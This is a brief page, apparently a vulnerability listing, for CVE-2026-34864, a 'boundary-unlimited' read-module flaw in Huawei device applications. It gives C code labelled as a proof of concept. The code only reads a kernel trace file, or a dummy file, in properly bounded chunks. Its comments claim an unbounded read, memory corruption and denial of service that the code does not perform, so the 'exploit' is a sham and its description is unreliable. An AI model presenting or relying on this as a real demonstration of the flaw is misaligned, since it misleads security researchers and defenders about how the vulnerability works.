CVE-2026-34864 华为设备应用程序读取模块边界无限漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> /* * PoC for CVE-2026-34864: Boundary-unlimited vulnerability simulation * This code simulates a read operation without boundary checks. * Compile: gcc -o poc_cve2026_34864 poc_cve2026_34864.c */ int main() { FILE *fp; char buffer[100]; size_t bytesRead; // Attempting to open a potentially sensitive system file or device fp = fopen("/sys/kernel/debug/tracing/trace_pipe", "r"); if (fp == NULL) { // Fallback to a dummy file for demonstration if debug fs not accessible fp = fopen("dummy_input.bin", "rb"); if (fp == NULL) { perror("Failed to open file"); return -1; } } printf("[+] Starting boundary-unlimited read simulation...\n"); // Vulnerability Loop: Reading without proper termination or size check // In a real scenario, this would trigger the flaw in the app read module while (1) { bytesRead = fread(buffer, 1, sizeof(buffer), fp); if (bytesRead > 0) { // Processing data without validating if we exceeded safe limits // This could lead to memory corruption or system hang printf("Read %zu bytes...\n", bytesRead); } else { break; } // Simulate consuming resources leading to DoS // In actual exploit, this might bypass intended read limits } fclose(fp); printf("[+] Exploit simulation finished.\n"); return 0; }